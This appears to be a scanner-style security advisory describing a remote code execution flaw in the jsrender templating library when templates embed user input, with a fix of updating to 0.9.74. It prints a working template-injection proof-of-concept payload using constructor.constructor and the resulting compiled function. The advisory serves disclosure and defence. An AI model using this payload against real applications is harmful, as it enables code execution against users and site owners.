QID 980706

Affected versions of `jsrender` are susceptible to a remote code execution vulnerability when used with server delivered client-side tempates which dynamically embed user input.

## Proof of Concept


```
<POC-REQUEST>
{{for ~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)}}
{{:#data}}
{{/for}}
</POC-REQUEST>
```

```
<POC-RESPONSE>
function anonymous(data,view,j,u) { // template var v,t=j._tag,ret="" +t("for",view,this,[ {view:view,tmpl:1, params:{args:['~x!=1?(constructor.constructor("return arguments.callee.caller")()):~y(10)']}, args:[view.hlp("x")!=1?(data.constructor.constructor("return arguments.callee.caller")()):view.hlp("y")(10)], props:{}}]); return ret; }
<POC-RESPONSE>
```


## Recommendation

Update to version 0.9.74 or later.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.